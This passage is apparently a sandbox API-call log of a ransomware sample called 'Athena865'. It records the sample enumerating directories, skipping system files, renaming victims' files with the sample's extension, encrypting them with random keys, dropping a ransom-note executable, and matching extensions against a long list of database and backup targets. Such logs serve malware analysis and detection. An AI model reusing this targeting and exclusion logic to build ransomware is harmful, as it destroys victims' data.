returned 1 [0107.284] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.284] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0107.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0107.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.285] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0107.297] CloseHandle (hObject=0x17c) returned 1 [0107.297] CloseHandle (hObject=0x154) returned 1 [0107.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0107.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.303] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0107.303] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.303] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.303] lstrcmpiW (lpString1="VISFILT.DLL", lpString2=".") returned 1 [0107.303] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="..") returned 1 [0107.303] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="windows") returned -1 [0107.303] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="bootmgr") returned 1 [0107.303] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="temp") returned 1 [0107.303] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="pagefile.sys") returned 1 [0107.303] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="boot") returned 1 [0107.303] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="ids.txt") returned 1 [0107.304] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="ntuser.dat") returned 1 [0107.304] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="perflogs") returned 1 [0107.304] lstrcmpiW (lpString1="VISFILT.DLL", lpString2="MSBuild") returned 1 [0107.304] lstrlenW (lpString="VISFILT.DLL") returned 11 [0107.304] lstrcpyW (in: lpString1=0x241e8b6, lpString2="VISFILT.DLL" | out: lpString1="VISFILT.DLL") returned="VISFILT.DLL" [0107.304] lstrlenW (lpString="VISFILT.DLL") returned 11 [0107.304] lstrlenW (lpString="Athena865") returned 9 [0107.304] lstrcmpiW (lpString1="SFILT.DLL", lpString2="Athena865") returned 1 [0107.304] lstrlenW (lpString=".dll") returned 4 [0107.304] lstrcmpiW (lpString1="VISFILT.DLL", lpString2=".dll") returned 1 [0107.304] lstrlenW (lpString=".lnk") returned 4 [0107.304] lstrcmpiW (lpString1="VISFILT.DLL", lpString2=".lnk") returned 1 [0107.304] lstrlenW (lpString=".ini") returned 4 [0107.304] lstrcmpiW (lpString1="VISFILT.DLL", lpString2=".ini") returned 1 [0107.304] lstrlenW (lpString=".sys") returned 4 [0107.304] lstrcmpiW (lpString1="VISFILT.DLL", lpString2=".sys") returned 1 [0107.304] lstrlenW (lpString="VISFILT.DLL") returned 11 [0107.304] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.Athena865") returned 76 [0107.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.athena865"), dwFlags=0x1) returned 1 [0107.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.305] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2124664) returned 1 [0107.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0107.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.306] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.306] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.306] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.307] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x206e80, lpName=0x0) returned 0x17c [0107.308] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x6e80) returned 0x100000 [0107.462] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.463] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.463] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0107.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0107.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.463] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.464] CloseHandle (hObject=0x17c) returned 1 [0107.464] CloseHandle (hObject=0x154) returned 1 [0107.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0107.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.472] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0107.472] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0107.473] ReleaseMutex (hMutex=0xec) returned 1 [0107.473] CloseHandle (hObject=0xec) returned 1 [0107.473] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" [0107.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f610 | out: hHeap=0x4f0000) returned 1 [0107.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT") returned 54 [0107.473] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F3F74829251E11256740A03B79DBD61C") returned 0xec [0107.473] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0107.473] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" [0107.473] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0107.473] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to back your files.exe"), bFailIfExists=1) returned 0 [0107.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0107.474] GetLastError () returned 0x0 [0107.474] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0107.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0107.474] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0107.475] CloseHandle (hObject=0xf4) returned 1 [0107.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.475] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0107.475] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfcfb40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0107.475] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.475] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0107.475] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0107.475] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfcfb40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.475] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.475] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0107.475] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0107.476] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0107.476] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2=".") returned 1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="..") returned 1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="windows") returned -1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="bootmgr") returned 1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="temp") returned -1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="pagefile.sys") returned -1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="boot") returned 1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="ids.txt") returned -1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="ntuser.dat") returned -1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="perflogs") returned -1 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2="MSBuild") returned -1 [0107.476] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0107.476] lstrcpyW (in: lpString1=0x241e8b6, lpString2="CGMIMP32.CFG" | out: lpString1="CGMIMP32.CFG") returned="CGMIMP32.CFG" [0107.476] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0107.476] lstrlenW (lpString="Athena865") returned 9 [0107.476] lstrcmpiW (lpString1="IMP32.CFG", lpString2="Athena865") returned 1 [0107.476] lstrlenW (lpString=".dll") returned 4 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2=".dll") returned 1 [0107.476] lstrlenW (lpString=".lnk") returned 4 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2=".lnk") returned 1 [0107.476] lstrlenW (lpString=".ini") returned 4 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2=".ini") returned 1 [0107.476] lstrlenW (lpString=".sys") returned 4 [0107.476] lstrcmpiW (lpString1="CGMIMP32.CFG", lpString2=".sys") returned 1 [0107.476] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0107.476] lstrlenW (lpString="bak") returned 3 [0107.476] lstrcmpiW (lpString1="CFG", lpString2="bak") returned 1 [0107.476] lstrlenW (lpString="ba_") returned 3 [0107.476] lstrcmpiW (lpString1="CFG", lpString2="ba_") returned 1 [0107.477] lstrlenW (lpString="dbb") returned 3 [0107.477] lstrcmpiW (lpString1="CFG", lpString2="dbb") returned -1 [0107.477] lstrlenW (lpString="vmdk") returned 4 [0107.477] lstrcmpiW (lpString1=".CFG", lpString2="vmdk") returned -1 [0107.477] lstrlenW (lpString="rar") returned 3 [0107.477] lstrcmpiW (lpString1="CFG", lpString2="rar") returned -1 [0107.477] lstrlenW (lpString="zip") returned 3 [0107.477] lstrcmpiW (lpString1="CFG", lpString2="zip") returned -1 [0107.477] lstrlenW (lpString="tgz") returned 3 [0107.477] lstrcmpiW (lpString1="CFG", lpString2="tgz") returned -1 [0107.477] lstrlenW (lpString="vbox") returned 4 [0107.477] lstrcmpiW (lpString1=".CFG", lpString2="vbox") returned -1 [0107.477] lstrlenW (lpString="vdi") returned 3 [0107.477] lstrcmpiW (lpString1="CFG", lpString2="vdi") returned -1 [0107.477] lstrlenW (lpString="vhd") returned 3 [0107.477] lstrcmpiW (lpString1="CFG", lpString2="vhd") returned -1 [0107.477] lstrlenW (lpString="vhdx") returned 4 [0107.477] lstrcmpiW (lpString1=".CFG", lpString2="vhdx") returned -1 [0107.477] lstrlenW (lpString="avhd") returned 4 [0107.477] lstrcmpiW (lpString1=".CFG", lpString2="avhd") returned -1 [0107.477] lstrlenW (lpString="db") returned 2 [0107.477] lstrcmpiW (lpString1="FG", lpString2="db") returned 1 [0107.477] lstrlenW (lpString="db2") returned 3 [0107.477] lstrcmpiW (lpString1="CFG", lpString2="db2") returned -1 [0107.477] lstrlenW (lpString="db3") returned 3 [0107.477] lstrcmpiW (lpString1="CFG", lpString2="db3") returned -1 [0107.477] lstrlenW (lpString="dbf") returned 3 [0107.477] lstrcmpiW (lpString1="CFG", lpString2="dbf") returned -1 [0107.477] lstrlenW (lpString="mdf") returned 3 [0107.477] lstrcmpiW (lpString1="CFG", lpString2="mdf") returned -1 [0107.477] lstrlenW (lpString="mdb") returned 3 [0107.477] lstrcmpiW (lpString1="CFG", lpString2="mdb") returned -1 [0107.477] lstrlenW (lpString="sql") returned 3 [0107.478] lstrcmpiW (lpString1="CFG", lpString2="sql") returned -1 [0107.478] lstrlenW (lpString="sqlite") returned 6 [0107.478] lstrcmpiW (lpString1="32.CFG", lpString2="sqlite") returned -1 [0107.478] lstrlenW (lpString="sqlite3") returned 7 [0107.478] lstrcmpiW (lpString1="P32.CFG", lpString2="sqlite3") returned -1 [0107.478] lstrlenW (lpString="sqlitedb") returned 8 [0107.478] lstrcmpiW (lpString1="MP32.CFG", lpString2="sqlitedb") returned -1 [0107.478] lstrlenW (lpString="xml") returned 3 [0107.478] lstrcmpiW (lpString1="CFG", lpString2="xml") returned -1 [0107.478] lstrlenW (lpString="$er") returned 3 [0107.478] lstrcmpiW (lpString1="CFG", lpString2="$er") returned 1 [0107.478] lstrlenW (lpString="4dd") returned 3 [0107.478] lstrcmpiW (lpString1="CFG", lpString2="4dd") returned 1 [0107.478] lstrlenW (lpString="4dl") returned 3 [0107.478] lstrcmpiW (lpString1="CFG", lpString2="4dl") returned 1 [0107.478] lstrlenW (lpString="^^^") returned 3 [0107.478] lstrcmpiW (lpString1="CFG", lpString2="^^^") returned 1 [0107.478] lstrlenW (lpString="abs") returned 3 [0107.478] lstrcmpiW (lpString1="CFG", lpString2="abs") returned 1 [0107.478] lstrlenW (lpString="abx") returned 3 [0107.478] lstrcmpiW (lpString1="CFG", lpString2="abx") returned 1 [0107.478] lstrlenW (lpString="accdb") returned 5 [0107.478] lstrcmpiW (lpString1="2.CFG", lpString2="accdb") returned -1 [0107.478] lstrlenW (lpString="accdc") returned 5 [0107.478] lstrcmpiW (lpString1="2.CFG", lpString2="accdc") returned -1 [0107.478] lstrlenW (lpString="accde") returned 5 [0107.478] lstrcmpiW (lpString1="2.CFG", lpString2="accde") returned -1 [0107.478] lstrlenW (lpString="accdr") returned 5 [0107.478] lstrcmpiW (lpString1="2.CFG", lpString2="accdr") returned -1 [0107.478] lstrlenW (lpString="accdt") returned 5 [0107.478] lstrcmpiW (lpString1="2.CFG", lpString2="accdt") returned -1 [0107.478] lstrlenW (lpString="accdw") returned 5 [0107.478] lstrcmpiW (lpString1="2.CFG", lpString2="accdw") returned -1 [0107.479] lstrlenW (lpString="accft") returned 5 [0107.479] lstrcmpiW (lpString1="2.CFG", lpString2="accft") returned -1 [0107.479] lstrlenW (lpString="adb") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="adb") returned 1 [0107.479] lstrlenW (lpString="adb") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="adb") returned 1 [0107.479] lstrlenW (lpString="ade") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="ade") returned 1 [0107.479] lstrlenW (lpString="adf") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="adf") returned 1 [0107.479] lstrlenW (lpString="adn") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="adn") returned 1 [0107.479] lstrlenW (lpString="adp") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="adp") returned 1 [0107.479] lstrlenW (lpString="alf") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="alf") returned 1 [0107.479] lstrlenW (lpString="ask") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="ask") returned 1 [0107.479] lstrlenW (lpString="btr") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="btr") returned 1 [0107.479] lstrlenW (lpString="cat") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="cat") returned 1 [0107.479] lstrlenW (lpString="cdb") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="cdb") returned 1 [0107.479] lstrlenW (lpString="ckp") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="ckp") returned -1 [0107.479] lstrlenW (lpString="cma") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="cma") returned -1 [0107.479] lstrlenW (lpString="cpd") returned 3 [0107.479] lstrcmpiW (lpString1="CFG", lpString2="cpd") returned -1 [0107.479] lstrlenW (lpString="dacpac") returned 6 [0107.479] lstrcmpiW (lpString1="32.CFG", lpString2="dacpac") returned -1 [0107.479] lstrlenW (lpString="dad") returned 3 [0107.480] lstrcmpiW (lpString1="CFG", lpString2="dad") returned -1 [0107.480] lstrlenW (lpString="dadiagrams") returned 10 [0107.480] lstrcmpiW (lpString1="MIMP32.CFG", lpString2="dadiagrams") returned 1 [0107.480] lstrlenW (lpString="daschema") returned 8 [0107.480] lstrcmpiW (lpString1="MP32.CFG", lpString2="daschema") returned 1 [0107.480] lstrlenW (lpString="db-journal") returned 10 [0107.480] lstrcmpiW (lpString1="MIMP32.CFG", lpString2="db-journal") returned 1 [0107.480] lstrlenW (lpString="db-shm") returned 6 [0107.480] lstrcmpiW (lpString1="32.CFG", lpString2="db-shm") returned -1 [0107.480] lstrlenW (lpString="db-wal") returned 6 [0107.480] lstrcmpiW (lpString1="32.CFG", lpString2="db-wal") returned -1 [0107.480] lstrlenW (lpString="dbc") returned 3 [0107.480] lstrcmpiW (lpString1="CFG", lpString2="dbc") returned -1 [0107.480] lstrlenW (lpString="dbs") returned 3 [0107.480] lstrcmpiW (lpString1="CFG", lpString2="dbs") returned -1 [0107.480] lstrlenW (lpString="dbt") returned 3 [0107.480] lstrcmpiW (lpString1="CFG", lpString2="dbt") returned -1 [0107.480] lstrlenW (lpString="dbv") returned 3 [0107.480] lstrcmpiW (lpString1="CFG", lpString2="dbv") returned -1 [0107.480] lstrlenW (lpString="dbx") returned 3 [0107.480] lstrcmpiW (lpString1="CFG", lpString2="dbx") returned -1 [0107.480] lstrlenW (lpString="dcb") returned 3 [0107.480] lstrcmpiW (lpString1="CFG", lpString2="dcb") returned -1 [0107.480] lstrlenW (lpString="dct") returned 3 [0107.480] lstrcmpiW (lpString1="CFG", lpString2="dct") returned -1 [0107.480] lstrlenW (lpString="dcx") returned 3 [0107.480] lstrcmpiW (lpString1="CFG", lpString2="dcx") returned -1 [0107.480] lstrlenW (lpString="ddl") returned 3 [0107.480] lstrcmpiW (lpString1="CFG", lpString2="ddl") returned -1 [0107.480] lstrlenW (lpString="dlis") returned 4 [0107.480] lstrcmpiW (lpString1=".CFG", lpString2="dlis") returned -1 [0107.480] lstrlenW (lpString="dp1") returned 3 [0107.480] lstrcmpiW (lpString1="CFG", lpString2="dp1") returned -1 [0107.481] lstrlenW (lpString="dqy") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="dqy") returned -1 [0107.481] lstrlenW (lpString="dsk") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="dsk") returned -1 [0107.481] lstrlenW (lpString="dsn") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="dsn") returned -1 [0107.481] lstrlenW (lpString="dtsx") returned 4 [0107.481] lstrcmpiW (lpString1=".CFG", lpString2="dtsx") returned -1 [0107.481] lstrlenW (lpString="dxl") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="dxl") returned -1 [0107.481] lstrlenW (lpString="eco") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="eco") returned -1 [0107.481] lstrlenW (lpString="ecx") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="ecx") returned -1 [0107.481] lstrlenW (lpString="edb") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="edb") returned -1 [0107.481] lstrlenW (lpString="epim") returned 4 [0107.481] lstrcmpiW (lpString1=".CFG", lpString2="epim") returned -1 [0107.481] lstrlenW (lpString="fcd") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="fcd") returned -1 [0107.481] lstrlenW (lpString="fdb") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="fdb") returned -1 [0107.481] lstrlenW (lpString="fic") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="fic") returned -1 [0107.481] lstrlenW (lpString="flexolibrary") returned 12 [0107.481] lstrlenW (lpString="fm5") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="fm5") returned -1 [0107.481] lstrlenW (lpString="fmp") returned 3 [0107.481] lstrcmpiW (lpString1="CFG", lpString2="fmp") returned -1 [0107.481] lstrlenW (lpString="fmp12") returned 5 [0107.481] lstrcmpiW (lpString1="2.CFG", lpString2="fmp12") returned -1 [0107.481] lstrlenW (lpString="fmpsl") returned 5 [0107.481] lstrcmpiW (lpString1="2.CFG", lpString2="fmpsl") returned -1 [0107.481] lstrlenW (lpString="fol") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="fol") returned -1 [0107.482] lstrlenW (lpString="fp3") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="fp3") returned -1 [0107.482] lstrlenW (lpString="fp4") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="fp4") returned -1 [0107.482] lstrlenW (lpString="fp5") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="fp5") returned -1 [0107.482] lstrlenW (lpString="fp7") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="fp7") returned -1 [0107.482] lstrlenW (lpString="fpt") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="fpt") returned -1 